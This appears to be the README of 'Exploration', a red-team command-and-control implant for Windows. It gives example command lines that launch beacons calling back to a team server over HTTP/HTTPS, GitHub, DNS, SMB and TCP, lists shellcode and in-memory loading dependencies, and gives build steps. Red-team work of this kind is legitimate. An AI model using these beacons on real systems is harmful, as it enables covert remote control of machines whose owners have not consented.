Exploration C2 Implant

Overview

Exploration is a lightweight, modular Command and Control (C2) framework designed for red team operations. This repository provides the Beacon component implemented in C++ for targeting Windows systems. The corresponding TeamServer and Client components are available in the C2TeamServer repository.

This project includes multiple Beacons capable of communicating with the TeamServer through a variety of channels. Supported communication methods include HTTP/HTTPS, GitHub, DNS, SMB, and TCP.

Communication Examples

# HTTP/HTTPS
BeaconHttp.exe <TEAMSERVER_IP> <LISTENER_PORT> <http|https>
BeaconHttp.exe 10.10.10.10 8443 https
BeaconHttp.exe 10.10.10.10 8080 http

# GitHub
BeaconGithub.exe <GITHUB_USER/REPO> <ACCESS_TOKEN>
BeaconGithub.exe maxDcb/C2Implant ghp_dsfgdfhdf5554456g4fdg465...

# DNS
BeaconDns.exe <DNS_SERVER> <TEAMSERVER_DOMAIN>
BeaconDns.exe 8.8.8.8 bac.superdomain.com

# SMB
BeaconSmb.exe <LISTENER_IP> <PIPE_NAME>
BeaconSmb.exe 127.0.0.1 pipename

# TCP
BeaconTcp.exe <LISTENER_IP> <LISTENER_PORT>
BeaconTcp.exe 127.0.0.1 4444

Build Instructions

Submodules & External Dependencies

This project relies on several third-party libraries and tools:

• Donut: Generates shellcode from PE files.
• COFFLoader: Executes object files such as those in CS-Situational-Awareness-BOF.
• MemoryModule: Enables runtime DLL loading.
• UnmanagedPowerShell: Executes PowerShell from unmanaged code.
• cpp-base64: Base64 encoding/decoding.
• nlohmann/json: JSON parsing.

Preparing the Environment

Install prerequisites:

• Chocolatey
• CMake:

choco install cmake --pre

Initialize submodules and set up the build directory:

git submodule update --init
mkdir buildWindows
cd buildWindows

Building the Windows Beacons and Modules

Windows x64

Using the "x64 Native Tools Command Prompt for VS":

cmake -G "Visual Studio 17 2022" ..

msbuild .\C2Implant.sln /property:Configuration=Release -m

Alternatively, open the generated C2Implant.sln in Visual Studio and build in Release mode. Ensure the Runtime Library is set to Multi-threaded (/MT).

Project can also be build with the C2Core package:

# download last windows package

set "CMAKE_PREFIX_PATH=path_to_C2Core-Windows" 

cmake -G "Visual Studio 17 2022" ..

msbuild .\C2Implant.sln /property:Configuration=Release -m

Windows x86

cmake -G "Visual Studio 17 2022" -A "Win32" ..
msbuild .\C2Implant.sln /property:Configuration=Release /p:Platform=Win32 -m

Output Locations

• Compiled Beacons: Release\Beacons
• Compiled Module DLLs: Release\Modules